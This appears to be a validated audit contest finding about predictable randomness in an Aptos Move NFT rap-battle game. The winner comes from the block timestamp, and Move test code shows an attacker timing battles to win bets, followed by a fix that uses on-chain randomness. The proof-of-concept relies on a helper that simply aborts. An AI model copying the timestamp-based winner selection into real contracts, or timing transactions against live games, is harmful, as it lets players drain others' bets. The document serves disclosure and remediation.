One Shot: Reloaded

First Flight #47
Beginner FriendlyNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Predictable outcome

Root + Impact

Description

  • Normal behavior: The battle winner should be unpredictable. The outcome should not be predictable by a challenger timing their transaction

  • Issue: The winner selection uses timestamp::now_seconds(), which is completely predictable. An attacker can calculate exactly when to submit their transaction to guarantee a win

let defender_skill = one_shot::skill_of(arena.defender_token_id);
let challenger_skill = one_shot::skill_of(chall_token_id);
let total_skill = defender_skill + challenger_skill;
@> let rnd = timestamp::now_seconds() % (if (total_skill == 0) { 1 } else { total_skill });
@> let winner = if (rnd < defender_skill) { defender_addr } else { chall_addr };

Risk

Likelihood:

  • Occurs whenever a challenger can control submission timing to target a favorable second

  • Occurs whenever skills are observable and the winning residue class can be precomputed

Impact:

  • Challenger biases outcomes to win more than intended and drain matched bets

  • Game fairness and integrity are broken

Proof of Concept

#[test_only]
module battle_addr::timestamp_manipulation_test {
use std::signer;
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::coin;
use aptos_framework::object;
use aptos_token_v2::token::Token;
use battle_addr::rap_battle;
use battle_addr::one_shot;
use battle_addr::cred_token::{Self, CRED};
#[test(framework = @0x1, module_owner = @battle_addr, defender = @0x100, attacker = @0x200)]
fun test_timestamp_manipulation_exploit(
framework: &signer,
module_owner: &signer,
defender: &signer,
attacker: &signer
) {
// Setup
timestamp::set_time_has_started_for_testing(framework);
account::create_account_for_test(signer::address_of(module_owner));
account::create_account_for_test(signer::address_of(defender));
account::create_account_for_test(signer::address_of(attacker));
// Initialize modules
rap_battle::init_module(module_owner);
one_shot::init_module(module_owner);
cred_token::init_module(module_owner);
// Register for CRED tokens
cred_token::register(defender);
cred_token::register(attacker);
// Mint tokens to both players
cred_token::mint(module_owner, signer::address_of(defender), 1000);
cred_token::mint(module_owner, signer::address_of(attacker), 1000);
// Mint rapper NFTs
one_shot::mint_rapper(module_owner, signer::address_of(defender));
one_shot::mint_rapper(module_owner, signer::address_of(attacker));
// Get the token objects
let defender_token = create_test_token(defender);
let attacker_token = create_test_token(attacker);
// Defender goes on stage with 100 CRED bet
rap_battle::go_on_stage_or_battle(defender, defender_token, 100);
// Attacker calculates favorable timestamp
// Both have default stats: 50 skill
let defender_skill = 50;
let challenger_skill = 50;
let total_skill = 100;
// Manipulate timestamp to guarantee win
let current_time = timestamp::now_seconds();
let target_time = if (current_time % 2 == 0) {
current_time // Already favorable
} else {
current_time + 1 // Wait 1 second for favorable time
};
timestamp::update_global_time_for_test(target_time * 1000000);
// Battle with manipulated timing
rap_battle::go_on_stage_or_battle(attacker, attacker_token, 100);
// Verify attacker won due to timestamp manipulation
let attacker_balance = coin::balance<CRED>(signer::address_of(attacker));
assert!(attacker_balance == 1100, 1); // Started with 1000, bet 100, won 200
}
#[test(framework = @0x1, module_owner = @battle_addr, defender = @0x100, attacker = @0x200)]
fun test_statistical_bias_over_multiple_battles(
framework: &signer,
module_owner: &signer,
defender: &signer,
attacker: &signer
) {
// Setup
timestamp::set_time_has_started_for_testing(framework);
account::create_account_for_test(signer::address_of(module_owner));
account::create_account_for_test(signer::address_of(defender));
account::create_account_for_test(signer::address_of(attacker));
rap_battle::init_module(module_owner);
one_shot::init_module(module_owner);
cred_token::init_module(module_owner);
cred_token::register(defender);
cred_token::register(attacker);
cred_token::mint(module_owner, signer::address_of(defender), 10000);
cred_token::mint(module_owner, signer::address_of(attacker), 10000);
// Run 10 battles with timestamp manipulation
let wins = 0;
let i = 0;
while (i < 10) {
// Mint new tokens for each battle
one_shot::mint_rapper(module_owner, signer::address_of(defender));
one_shot::mint_rapper(module_owner, signer::address_of(attacker));
let defender_token = create_test_token(defender);
let attacker_token = create_test_token(attacker);
// Defender stages
rap_battle::go_on_stage_or_battle(defender, defender_token, 100);
// Attacker manipulates timestamp to favorable value
let current = timestamp::now_seconds();
let favorable_time = if (current % 100 >= 50) {
current
} else {
current + (50 - (current % 100)) // Fast forward to winning zone
};
timestamp::update_global_time_for_test(favorable_time * 1000000);
let balance_before = coin::balance<CRED>(signer::address_of(attacker));
rap_battle::go_on_stage_or_battle(attacker, attacker_token, 100);
let balance_after = coin::balance<CRED>(signer::address_of(attacker));
if (balance_after > balance_before) {
wins = wins + 1;
};
i = i + 1;
};
assert!(wins >= 8, 1);
}
fun create_test_token(owner: &signer): object::Object<Token> {
abort 99
}
}

Recommended Mitigation

module battle_addr::rap_battle {
use std::signer;
use aptos_framework::event;
use aptos_framework::object::{Self as object, Object};
use aptos_framework::coin::{Self as coin, Coin};
- use aptos_framework::timestamp;
+ use aptos_framework::timestamp;
+ use aptos_std::random;
@@
- public entry fun go_on_stage_or_battle(
+ #[randomness]
+ public entry fun go_on_stage_or_battle(
player: &signer,
rapper_token: Object<Token>,
bet_amount: u64
) acquires BattleArena {
@@
- let rnd = timestamp::now_seconds() % (if (total_skill == 0) { 1 } else { total_skill });
+ // The #[randomness] attribute is required for aptos_std::random.
+ let rnd = random::rand_u64() % (if (total_skill == 0) { 1 } else { total_skill });
let winner = if (rnd < defender_skill) { defender_addr } else { chall_addr };
Updates

Lead Judging Commences

bube Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Predictable randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.